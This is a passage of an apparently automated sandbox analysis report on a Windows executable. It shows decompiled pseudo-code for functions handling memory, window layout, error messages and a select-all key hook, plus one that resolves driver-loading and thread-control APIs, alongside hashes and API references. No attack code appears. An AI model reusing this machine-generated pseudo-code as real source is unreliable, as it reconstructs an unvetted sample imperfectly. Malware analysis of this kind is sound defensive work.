0x00404802
0x0040480d
0x00404812
0x00404813
0x00404834

APIs

GetLastError.KERNEL32(?,?,004035EB,?,?), ref: 004047E6
_snwprintf.MSVCRT ref: 00404813
MessageBoxW.USER32(?,?,Error,00000030), ref: 0040482C

Strings

Error, xrefs: 0040481D
Error %d: %s, xrefs: 00404802

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastMessage_snwprintf
String ID: Error$Error %d: %s
API String ID: 313946961-1552265934
Opcode ID: 9fa9ceadd2aea683486b90f32a73d9d70e1e2e007ee85f632c4fe4fcea7526ce
Instruction ID: 90e5118ee4f46ea14b6138c5fdcdbe0805ab296af9aaa7bfd3b1d45c15712702
Opcode Fuzzy Hash: 9fa9ceadd2aea683486b90f32a73d9d70e1e2e007ee85f632c4fe4fcea7526ce
Instruction Fuzzy Hash: 30F08975500208A6C711A795CC46FD572ACEB44785F0401B6B604F31C1DB78AA448A9C

Uniqueness

Uniqueness Score: -1.00%

Function 004068EC, Relevance: 7.6, APIs: 6, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E004068EC(intOrPtr* __eax, void* __eflags, intOrPtr _a4) {
				void* _v8;
				signed int _v12;
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				signed int _t74;
				signed int _t76;
				signed short _t85;
				signed int _t87;
				intOrPtr _t88;
				signed short _t93;
				void* _t95;
				signed int _t124;
				signed int _t126;
				signed int _t128;
				intOrPtr* _t131;
				signed int _t135;
				signed int _t137;
				signed int _t138;
				void* _t141;
				void* _t142;
				void* _t146;

				_t142 = __eflags;
				_push(_t102);
				_t131 = __eax;
				 *((intOrPtr*)(__eax + 4)) =  *((intOrPtr*)( *__eax + 0x68))();
				E00406746(__eax);
				 *(_t131 + 0x38) =  *(_t131 + 0x38) & 0x00000000;
				_t135 = 5;
				 *((intOrPtr*)(_t131 + 0x2a0)) = _a4;
				_t124 = 0x14;
				_t74 = _t135 * _t124;
				 *(_t131 + 0x2d0) = _t135;
				_push( ~(0 | _t142 > 0x00000000) | _t74);
				L0040B26C();
				 *(_t131 + 0x2d4) = _t74;
				_t126 = 0x14;
				_t76 = _t135 * _t126;
				_push( ~(0 | _t142 > 0x00000000) | _t76);
				L0040B26C();
				_t95 = 0x40f008;
				 *(_t131 + 0x40) = _t76;
				_v8 = 0x40f008;
				do {
					_t137 =  *_t95 * 0x14;
					memcpy( *(_t131 + 0x2d4) + _t137, _t95, 0x14);
					_t24 = _t95 + 0x14; // 0x40f01c
					memcpy( *(_t131 + 0x40) + _t137, _t24, 0x14);
					_t85 =  *( *(_t131 + 0x2d4) + _t137 + 0x10);
					_t141 = _t141 + 0x18;
					_v12 = _t85;
					 *( *(_t131 + 0x40) + _t137 + 0x10) = _t85;
					if((_t85 & 0xffff0000) == 0) {
						 *( *(_t131 + 0x2d4) + _t137 + 0x10) = E00405B81(_t85 & 0x0000ffff);
						_t93 = E00405B81(_v12 | 0x00010000);
						_t95 = _v8;
						 *( *(_t131 + 0x40) + _t137 + 0x10) = _t93;
					}
					_t95 = _t95 + 0x28;
					_t146 = _t95 - 0x40f0d0;
					_v8 = _t95;
				} while (_t146 < 0);
				 *(_t131 + 0x44) =  *(_t131 + 0x44) & 0x00000000;
				_t138 = 5;
				_t128 = 4;
				_t87 = _t138 * _t128;
				 *((intOrPtr*)(_t131 + 0x48)) = 1;
				 *(_t131 + 0x2c) = _t138;
				 *((intOrPtr*)(_t131 + 0x28)) = 0x20;
				_push( ~(0 | _t146 > 0x00000000) | _t87);
				L0040B26C();
				_push(0xc);
				 *(_t131 + 0x30) = _t87;
				L0040B26C();
				_t139 = _t87;
				if(_t87 == 0) {
					_t88 = 0;
					__eflags = 0;
				} else {
					_t88 = E00406607(_a4,  *((intOrPtr*)(_t131 + 0x58)), _t139);
				}
				 *((intOrPtr*)(_t131 + 0x2c0)) = _t88;
				 *((intOrPtr*)(_t131 + 0x4c)) = 1;
				 *((intOrPtr*)(_t131 + 0x50)) = 0;
				 *((intOrPtr*)(_t131 + 0x2b4)) = 1;
				 *((intOrPtr*)(_t131 + 0x2b8)) = 0;
				 *((intOrPtr*)(_t131 + 0x2bc)) = 0;
				 *((intOrPtr*)(_t131 + 0x2c4)) = 1;
				 *((intOrPtr*)(_t131 + 0x2c8)) = 1;
				 *((intOrPtr*)(_t131 + 0x334)) = 0x32;
				 *((intOrPtr*)(_t131 + 0x5c)) = 0xffffff;
				return E0040686C(_t131);
			}

0x004068ec
0x004068f0
0x004068f4
0x004068ff
0x00406902
0x0040690a
0x00406910
0x00406911
0x0040691b
0x0040691e
0x00406923
0x0040692d
0x0040692e
0x00406933
0x0040693d
0x00406940
0x00406949
0x0040694a
0x00406950
0x00406956
0x00406959
0x0040695c
0x00406964
0x0040696d
0x00406974
0x0040697e
0x00406989
0x00406990
0x00406998
0x0040699b
0x0040699f
0x004069b8
0x004069bc
0x004069c4
0x004069c7
0x004069c7
0x004069cb
0x004069ce
0x004069d4
0x004069d4
0x004069d9
0x004069df
0x004069e6
0x004069ea
0x004069ef
0x004069f2
0x004069f5
0x00406a00
0x00406a01
0x00406a06
0x00406a08
0x00406a0b
0x00406a10
0x00406a16
0x00406a25
0x00406a25
0x00406a18
0x00406a1e
0x00406a1e
0x00406a27
0x00406a2f
0x00406a32
0x00406a35
0x00406a3b
0x00406a41
0x00406a47
0x00406a4d
0x00406a53
0x00406a5d
0x00406a6d

APIs

Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406752
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406760
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406771
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406788
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406791

??2@YAPAXI@Z.MSVCRT ref: 0040692E
??2@YAPAXI@Z.MSVCRT ref: 0040694A
memcpy.MSVCRT ref: 0040696D
memcpy.MSVCRT ref: 0040697E
??2@YAPAXI@Z.MSVCRT ref: 00406A01
??2@YAPAXI@Z.MSVCRT ref: 00406A0B

Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
Part of subcall function 00405B81: LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
Part of subcall function 00405B81: memcpy.MSVCRT ref: 00405C99

Part of subcall function 00405B81: wcscpy.MSVCRT ref: 00405C02
Part of subcall function 00405B81: wcslen.MSVCRT ref: 00405C20
Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@$memcpy$HandleModule$LoadStringwcscpywcslen
String ID:
API String ID: 975042529-0
Opcode ID: 7b5c259927b59544c1da32c87fb64e8a434fc950baf11122839f6010e947eddb
Instruction ID: 1f3882e7c97b8b8272a376ef7761bc0b0e9511dafd47f947fc31f4e13e233f39
Opcode Fuzzy Hash: 7b5c259927b59544c1da32c87fb64e8a434fc950baf11122839f6010e947eddb
Instruction Fuzzy Hash: 53414EB1B01715AFD718DF39C88A75AFBA4FB08314F10422FE519D7691D775A8108BC8

Uniqueness

Uniqueness Score: -1.00%

Function 004097A9, Relevance: 7.6, APIs: 5, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004097A9(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4) {
				int _v8;
				int _v12;
				intOrPtr _v16;
				void* _v20;
				int _v24;
				void _v56;
				char _v584;
				char _v588;
				char _v41548;
				void* __edi;
				void* _t40;
				void _t46;
				intOrPtr _t47;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr _t67;
				intOrPtr _t71;
				int _t77;
				void* _t80;
				void* _t81;
				void* _t82;
				void* _t83;

				E0040B550(0xa248, __ecx);
				_t77 = 0;
				_v8 = 0;
				E00408E31();
				_t40 =  *0x41c47c;
				if(_t40 != 0) {
					_t40 =  *_t40(5,  &_v41548, 0xa000,  &_v8);
				}
				if(_v8 == _t77) {
					_v8 = 0x186a0;
				}
				_v8 = _v8 + 0x3e80;
				_push(_v8);
				L0040B26C();
				_t81 = _t40;
				_v20 = _t81;
				memset(_t81, _t77, _v8);
				_t83 = _t82 + 0x10;
				_v24 = _t77;
				E00408E31();
				E00408F2A(0x41c47c, _t81, _v8,  &_v24);
				L5:
				while(1) {
					if( *((intOrPtr*)(_t81 + 0x3c)) == _t77) {
						L16:
						_t46 =  *_t81;
						_t77 = 0;
						if(_t46 == 0) {
							_push(_v20);
							L0040B272();
							return _t46;
						}
						_t81 = _t81 + _t46;
						continue;
					}
					_t47 = _a4;
					_t71 =  *((intOrPtr*)(_t47 + 0x34));
					_v12 = _t77;
					_v16 = _t71;
					if(_t71 <= _t77) {
						L10:
						_t66 = 0;
						L11:
						if(_t66 == 0) {
							E004090AF( &_v588);
							E00404923(0x104,  &_v584,  *((intOrPtr*)(_t81 + 0x3c)));
							_t32 = _t81 + 0x20; // 0x20
							memcpy( &_v56, _t32, 8);
							_t83 = _t83 + 0x10;
							E004099ED(_a4 + 0x28,  &_v588);
						} else {
							_t26 = _t66 + 4; // 0x4
							_t72 = _t26;
							if( *_t26 == 0) {
								E00404923(0x104, _t72,  *((intOrPtr*)(_t81 + 0x3c)));
								_t28 = _t81 + 0x20; // 0x20
								memcpy(_t66 + 0x214, _t28, 8);
								_t83 = _t83 + 0x10;
							}
						}
						goto L16;
					}
					_t67 =  *((intOrPtr*)(_t81 + 0x44));
					_t80 = _t47 + 0x28;
					while(1) {
						_t64 = E00405A92(_v12, _t80);
						if( *_t64 == _t67) {
							break;
						}
						_v12 = _v12 + 1;
						if(_v12 < _v16) {
							continue;
						}
						goto L10;
					}
					_t66 = _t64;
					goto L11;
				}
			}

0x004097b1
0x004097b9
0x004097bb
0x004097be
0x004097c3
0x004097ca
0x004097de
0x004097de
0x004097e3
0x004097e5
0x004097e5
0x004097ec
0x004097f3
0x004097f6
0x004097fe
0x00409802
0x00409805
0x0040980a
0x0040980d
0x00409810
0x00409822
0x00000000
0x00409827
0x0040982a
0x004098da
0x004098da
0x004098dc
0x004098e0
0x004098e9
0x004098ec
0x004098f6
0x004098f6
0x004098e2
0x00000000
0x004098e2
0x00409830
0x00409833
0x00409838
0x0040983b
0x0040983e
0x0040985f
0x0040985f
0x00409861
0x00409863
0x0040989e
0x004098b1
0x004098b8
0x004098c0
0x004098c5
0x004098d5
0x00409865
0x00409865
0x00409865
0x0040986c
0x00409878
0x0040987f
0x0040988a
0x0040988f
0x0040988f
0x0040986c
0x00000000
0x00409863
0x00409840
0x00409843
0x00409846
0x0040984b
0x00409852
0x00000000
0x00000000
0x00409854
0x0040985d
0x00000000
0x00000000
0x00000000
0x0040985d
0x00409894
0x00000000
0x00409894

APIs

Part of subcall function 00408E31: GetModuleHandleW.KERNEL32(ntdll.dll,?,004097C3), ref: 00408E44
Part of subcall function 00408E31: GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation), ref: 00408E5B
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtLoadDriver), ref: 00408E6D
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtUnloadDriver), ref: 00408E7F
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject), ref: 00408E91
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject), ref: 00408EA3
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtQueryObject), ref: 00408EB5
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtOpenThread), ref: 00408EC7
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtClose), ref: 00408ED9
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtQueryInformationThread), ref: 00408EEB
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtSuspendThread), ref: 00408EFD
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtResumeThread), ref: 00408F0F
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtTerminateThread), ref: 00408F21

??2@YAPAXI@Z.MSVCRT ref: 004097F6
memset.MSVCRT ref: 00409805
memcpy.MSVCRT ref: 0040988A
memcpy.MSVCRT ref: 004098C0
??3@YAXPAX@Z.MSVCRT ref: 004098EC

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$memcpy$??2@??3@HandleModulememset
String ID:
API String ID: 3641025914-0
Opcode ID: 5e4299bbf46472c45a4c6d50f6a05ce4ddc252402b4fb65f630eed7603d777c4
Instruction ID: bb54f3dbfe595cb11ae02f9551d523dabe65b88657fa4b418f7fa82d5da08bd9
Opcode Fuzzy Hash: 5e4299bbf46472c45a4c6d50f6a05ce4ddc252402b4fb65f630eed7603d777c4
Instruction Fuzzy Hash: BF41C172900209EFDB10EBA5C8819AEB3B9EF45304F14847FE545B3292DB78AE41CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004067AC, Relevance: 7.6, APIs: 5, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E004067AC(char** __edi) {
				void* __esi;
				void* _t9;
				void** _t11;
				char** _t15;
				char** _t24;
				void* _t25;
				char* _t28;
				char* _t29;
				char* _t30;
				char* _t31;
				char** _t33;

				_t24 = __edi;
				 *__edi = "cf@";
				_t9 = E00406746(__edi);
				_t28 = __edi[5];
				if(_t28 != 0) {
					_t9 = E004055D1(_t9, _t28);
					_push(_t28);
					L0040B272();
				}
				_t29 = _t24[4];
				if(_t29 != 0) {
					_t9 = E004055D1(_t9, _t29);
					_push(_t29);
					L0040B272();
				}
				_t30 = _t24[3];
				if(_t30 != 0) {
					_t9 = E004055D1(_t9, _t30);
					_push(_t30);
					L0040B272();
				}
				_t31 = _t24[2];
				if(_t31 != 0) {
					E004055D1(_t9, _t31);
					_push(_t31);
					L0040B272();
				}
				_t15 = _t24;
				_pop(_t32);
				_push(_t24);
				_t33 = _t15;
				_t25 = 0;
				if(_t33[1] > 0 && _t33[0xd] > 0) {
					do {
						 *((intOrPtr*)( *((intOrPtr*)(E0040664E(_t33, _t25))) + 0xc))();
						_t25 = _t25 + 1;
					} while (_t25 < _t33[0xd]);
				}
				_t11 =  *( *_t33)();
				free( *_t11);
				return _t11;
			}

0x004067ac
0x004067af
0x004067b5
0x004067ba
0x004067bf
0x004067c1
0x004067c6
0x004067c7
0x004067cc
0x004067cd
0x004067d2
0x004067d4
0x004067d9
0x004067da
0x004067df
0x004067e0
0x004067e5
0x004067e7
0x004067ec
0x004067ed
0x004067f2
0x004067f3
0x004067f8
0x004067fa
0x004067ff
0x00406800
0x00406805
0x00406806
0x00406808
0x0040680f
0x00406810
0x00406812
0x00406817
0x0040681e
0x00406828
0x0040682b
0x0040682c
0x0040681e
0x00406835
0x00406839
0x00406841

APIs

Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406752
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406760
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406771
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406788
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406791

??3@YAXPAX@Z.MSVCRT ref: 004067C7
??3@YAXPAX@Z.MSVCRT ref: 004067DA
??3@YAXPAX@Z.MSVCRT ref: 004067ED
??3@YAXPAX@Z.MSVCRT ref: 00406800
free.MSVCRT(00000000), ref: 00406839

Part of subcall function 004055D1: free.MSVCRT(?,00405843,00000000,?,00000000), ref: 004055DA

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$free
String ID:
API String ID: 2241099983-0
Opcode ID: fae72e90abf19a0f598a0744b86edfa2e5e81d8d411ebeda80197a1c121c0671
Instruction ID: 35b4881f8254e3ed5d778deec4dde62c4732b660dc94e1daad4ca6c431b67ac1
Opcode Fuzzy Hash: fae72e90abf19a0f598a0744b86edfa2e5e81d8d411ebeda80197a1c121c0671
Instruction Fuzzy Hash: 4E010233902D209BCA217B2A950541FB395FE82B24316807FE802772C5CF38AC618AED

Uniqueness

Uniqueness Score: -1.00%

Function 00405CF8, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405CF8(void* __esi, struct HWND__* _a4, signed int _a8) {
				intOrPtr _v12;
				struct tagPOINT _v20;
				struct tagRECT _v36;
				int _t27;
				struct HWND__* _t30;
				struct HWND__* _t32;

				_t30 = _a4;
				if((_a8 & 0x00000001) != 0) {
					_t32 = GetParent(_t30);
					GetWindowRect(_t30,  &_v20);
					GetClientRect(_t32,  &_v36);
					MapWindowPoints(0, _t32,  &_v20, 2);
					_t27 = _v36.right - _v12 - _v36.left;
					_v20.x = _t27;
					SetWindowPos(_t30, 0, _t27, _v20.y, 0, 0, 5);
				}
				if((_a8 & 0x00000002) != 0) {
					E00404FBB(_t30);
				}
				return 1;
			}

0x00405d03
0x00405d06
0x00405d10
0x00405d17
0x00405d22
0x00405d32
0x00405d40
0x00405d48
0x00405d4e
0x00405d54
0x00405d59
0x00405d5c
0x00405d61
0x00405d67

APIs

GetParent.USER32(?), ref: 00405D0A
GetWindowRect.USER32 ref: 00405D17
GetClientRect.USER32 ref: 00405D22
MapWindowPoints.USER32 ref: 00405D32
SetWindowPos.USER32(?,00000000,?,00000001,00000000,00000000,00000005), ref: 00405D4E

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Rect$ClientParentPoints
String ID:
API String ID: 4247780290-0
Opcode ID: a641cd19a410ed6a125ee0f2f41aa3775212a32dac042a11be58197803c42fc2
Instruction ID: c328b93d85e4c90ccc2b92edbac8192aeb41fc184e748709fb0c9a3f9f2b3a5a
Opcode Fuzzy Hash: a641cd19a410ed6a125ee0f2f41aa3775212a32dac042a11be58197803c42fc2
Instruction Fuzzy Hash: 41012932801029BBDB119BA59D8DEFFBFBCEF46750F04822AF901A2151D73895028BA5

Uniqueness

Uniqueness Score: -1.00%

Function 004083DC, Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E004083DC(void* __eax, int __ebx, void* _a4) {
				signed int _v8;
				signed int _v12;
				void* _v16;
				void* _t20;
				void* _t21;
				signed int _t28;
				void* _t32;
				void* _t34;

				_t20 = __eax;
				_v12 = _v12 & 0x00000000;
				_push(__ebx);
				_t28 = __eax - 1;
				L0040B26C();
				_v16 = __eax;
				if(_t28 > 0) {
					_t21 = _a4;
					_v8 = __ebx;
					_v8 =  ~_v8;
					_t32 = _t28 * __ebx + _t21;
					_a4 = _t21;
					do {
						memcpy(_v16, _a4, __ebx);
						memcpy(_a4, _t32, __ebx);
						_t20 = memcpy(_t32, _v16, __ebx);
						_a4 = _a4 + __ebx;
						_t32 = _t32 + _v8;
						_t34 = _t34 + 0x24;
						_v12 = _v12 + 1;
						_t28 = _t28 - 1;
					} while (_t28 > _v12);
				}
				_push(_v16);
				L0040B272();
				return _t20;
			}

0x004083dc
0x004083e2
0x004083e9
0x004083ea
0x004083eb
0x004083f3
0x004083f6
0x004083f8
0x00408401
0x00408404
0x00408407
0x00408409
0x0040840c
0x00408413
0x0040841d
0x00408427
0x0040842c
0x0040842f
0x00408432
0x00408435
0x00408438
0x00408439
0x0040843e
0x0040843f
0x00408442
0x0040844a

APIs

??2@YAPAXI@Z.MSVCRT ref: 004083EB
memcpy.MSVCRT ref: 00408413
memcpy.MSVCRT ref: 0040841D
memcpy.MSVCRT ref: 00408427
??3@YAXPAX@Z.MSVCRT ref: 00408442

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$??2@??3@
String ID:
API String ID: 1252195045-0
Opcode ID: ae14ed78cb3b9c7a1656bdd7c9bb9ccf218141e25ab2435f791856beeb738110
Instruction ID: 529a25ebd12540bef40c4bbbf5f662c822a20cdbd1f214c79cf6c3b5efc5d95d
Opcode Fuzzy Hash: ae14ed78cb3b9c7a1656bdd7c9bb9ccf218141e25ab2435f791856beeb738110
Instruction Fuzzy Hash: 61017176C0410CBBCF006F99D8859DEBBB8EF40394F1080BEF80476161D7355E519B98

Uniqueness

Uniqueness Score: -1.00%

Function 00406746, Relevance: 7.5, APIs: 5, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00406746(void* __esi) {
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr _t11;
				intOrPtr* _t18;
				void* _t19;

				_t19 = __esi;
				_t9 =  *((intOrPtr*)(__esi + 0x30));
				if(_t9 != 0) {
					_push(_t9);
					L0040B272();
				}
				_t10 =  *((intOrPtr*)(_t19 + 0x40));
				if(_t10 != 0) {
					_push(_t10);
					L0040B272();
				}
				_t11 =  *((intOrPtr*)(_t19 + 0x2d4));
				if(_t11 != 0) {
					_push(_t11);
					L0040B272();
				}
				_t18 =  *((intOrPtr*)(_t19 + 0x2c0));
				if(_t18 != 0) {
					_t11 =  *_t18;
					if(_t11 != 0) {
						_push(_t11);
						L0040B272();
						 *_t18 = 0;
					}
					_push(_t18);
					L0040B272();
				}
				 *((intOrPtr*)(_t19 + 0x2c0)) = 0;
				 *((intOrPtr*)(_t19 + 0x30)) = 0;
				 *((intOrPtr*)(_t19 + 0x40)) = 0;
				 *((intOrPtr*)(_t19 + 0x2d4)) = 0;
				return _t11;
			}

0x00406746
0x00406746
0x0040674f
0x00406751
0x00406752
0x00406757
0x00406758
0x0040675d
0x0040675f
0x00406760
0x00406765
0x00406766
0x0040676e
0x00406770
0x00406771
0x00406776
0x00406777
0x0040677f
0x00406781
0x00406785
0x00406787
0x00406788
0x0040678e
0x0040678e
0x00406790
0x00406791
0x00406796
0x00406798
0x0040679e
0x004067a1
0x004067a4
0x004067ab

APIs

??3@YAXPAX@Z.MSVCRT ref: 00406752
??3@YAXPAX@Z.MSVCRT ref: 00406760
??3@YAXPAX@Z.MSVCRT ref: 00406771
??3@YAXPAX@Z.MSVCRT ref: 00406788
??3@YAXPAX@Z.MSVCRT ref: 00406791

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 086bdf89973be9db751c02ba5940a011d1fc21caf14060528ff21e4da5d0ecd6
Instruction ID: 2146815d826ad61a6329a34e2799f13692f9223f7a0132405705f454cb51ab02
Opcode Fuzzy Hash: 086bdf89973be9db751c02ba5940a011d1fc21caf14060528ff21e4da5d0ecd6
Instruction Fuzzy Hash: E1F0ECB2504701DBDB24AE7D99C881FA7E9BB05318B65087FF14AE3680C738B850461C

Uniqueness

Uniqueness Score: -1.00%

Function 0040ABA5, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0040ABA5(intOrPtr __ecx, void* __edi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				struct HDWP__* _v8;
				intOrPtr _v12;
				void* __ebx;
				intOrPtr _t37;
				intOrPtr _t42;
				RECT* _t44;

				_push(__ecx);
				_push(__ecx);
				_t42 = __ecx;
				_v12 = __ecx;
				if(_a4 != 5) {
					if(_a4 != 0xf) {
						if(_a4 == 0x24) {
							_t37 = _a12;
							 *((intOrPtr*)(_t37 + 0x18)) = 0xc8;
							 *((intOrPtr*)(_t37 + 0x1c)) = 0xc8;
						}
					} else {
						E00402EC8(__ecx + 0x378);
					}
				} else {
					_v8 = BeginDeferWindowPos(3);
					_t44 = _t42 + 0x378;
					E00402E22(_t44, _t21, 0x65, 0, 0, 1, 1);
					E00402E22(_t44, _v8, 1, 1, 1, 0, 0);
					E00402E22(_t44, _v8, 2, 1, 1, 0, 0);
					EndDeferWindowPos(_v8);
					InvalidateRect( *(_t44 + 0x10), _t44, 1);
					_t42 = _v12;
				}
				return E00402CED(_t42, _a4, _a8, _a12);
			}

0x0040aba8
0x0040aba9
0x0040abb0
0x0040abb2
0x0040abb5
0x0040ac19
0x0040ac2c
0x0040ac2e
0x0040ac36
0x0040ac39
0x0040ac39
0x0040ac1b
0x0040ac21
0x0040ac21
0x0040abb7
0x0040abcb
0x0040abce
0x0040abd7
0x0040abe6
0x0040abf6
0x0040abfe
0x0040ac09
0x0040ac0f
0x0040ac12
0x0040ac4f

APIs

BeginDeferWindowPos.USER32 ref: 0040ABBA

Part of subcall function 00402E22: GetDlgItem.USER32 ref: 00402E32
Part of subcall function 00402E22: GetClientRect.USER32 ref: 00402E44
Part of subcall function 00402E22: DeferWindowPos.USER32(?,?,00000000,?,?,?,?,00000004), ref: 00402EB4

EndDeferWindowPos.USER32(?), ref: 0040ABFE
InvalidateRect.USER32(?,?,00000001), ref: 0040AC09

Strings

$, xrefs: 0040AC28

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: DeferWindow$Rect$BeginClientInvalidateItem
String ID: $
API String ID: 2498372239-3993045852
Opcode ID: 3646c4f7f2df3bce7363561434de74107494107a1dc9a7f0debf38e758269ced
Instruction ID: c4de0c57513a3fc8bb763215dcca23c205eee760976c5819edcd99f4220bed98
Opcode Fuzzy Hash: 3646c4f7f2df3bce7363561434de74107494107a1dc9a7f0debf38e758269ced
Instruction Fuzzy Hash: 9A11ACB1544208FFEB229F51CD88DAF7A7CEB85788F10403EF8057A280C6758E52DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00403A73, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
keyboardwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403A73(void* __esi, struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t14;

				if(_a8 == 0x100 && _a12 == 0x41) {
					GetKeyState(0xa2);
					if(E00403A60(0xa2) != 0 || E00403A60(0xa3) != 0) {
						if(E00403A60(0xa0) == 0 && E00403A60(0xa1) == 0 && E00403A60(0xa4) == 0) {
							_t14 = E00403A60(0xa5);
							if(_t14 == 0) {
								SendMessageW(_a4, 0xb1, _t14, 0xffffffff);
							}
						}
					}
				}
				return CallWindowProcW( *0x40f2f0, _a4, _a8, _a12, _a16);
			}

0x00403a7d
0x00403a8c
0x00403a9c
0x00403aba
0x00403adf
0x00403ae7
0x00403af4
0x00403af4
0x00403ae7
0x00403aba
0x00403a9c
0x00403b13

APIs

GetKeyState.USER32(000000A2), ref: 00403A8C

Part of subcall function 00403A60: GetKeyState.USER32(?), ref: 00403A64

SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00403AF4
CallWindowProcW.USER32(?,00000100,?,?), ref: 00403B0C

Strings

A, xrefs: 00403A7F

Memory Dump Source

